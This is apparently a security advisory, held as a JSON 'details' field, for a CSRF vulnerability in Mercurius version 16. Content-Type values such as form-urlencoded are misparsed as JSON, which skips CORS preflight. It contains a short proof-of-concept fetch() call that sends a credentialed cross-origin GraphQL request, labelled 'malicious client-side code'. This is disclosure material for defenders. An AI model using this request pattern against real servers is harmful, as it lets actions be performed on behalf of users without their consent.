+ "details": "### Summary\n\nA Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the `Content-Type` header in requests. Specifically, requests with `Content-Type` values such as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain` could be misinterpreted as `application/json`. This misinterpretation bypasses the preflight checks performed by the `fetch()` API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.\n\n---\n\n### Impact\n\nAn attacker could exploit this vulnerability by crafting a malicious request with a `Content-Type` that Fastify incorrectly parses as `application/json`. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.\n\n---\n\n### Proof of Concept\n\n```javascript\n// Server-side Fastify setup\nconst Fastify = require('fastify');\nconst mercurius = require('mercurius');\n\nconst app = Fastify();\nconst schema = `\n type Query {\n hello(name: String): String\n }\n`;\n\nconst resolvers = {\n Query: {\n hello: (_, { name }) => `Hello ${name || 'World'}!`\n }\n};\n\napp.register(mercurius, { schema, resolvers });\n\napp.listen(3000, () => {\n console.log('Server listening on http://localhost:3000');\n});\n```\n\n```javascript\n// Malicious client-side code\nfetch('http://localhost:3000/graphql', {\n method: 'POST',\n body: JSON.stringify({ query: '{ hello(name: \"attacker\") }' }),\n headers: {\n 'Content-Type': 'application/x-www-form-urlencoded'\n },\n credentials: 'include'\n});\n```\n\nIn the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a `Content-Type` that Fastify incorrectly parses as `application/json`.\n\n---\n\n### Mitigation\n\nTo address this vulnerability, CSRF protection has been implemented.\n\n## References\n\n* https://github.com/mercurius-js/mercurius/pull/1187",
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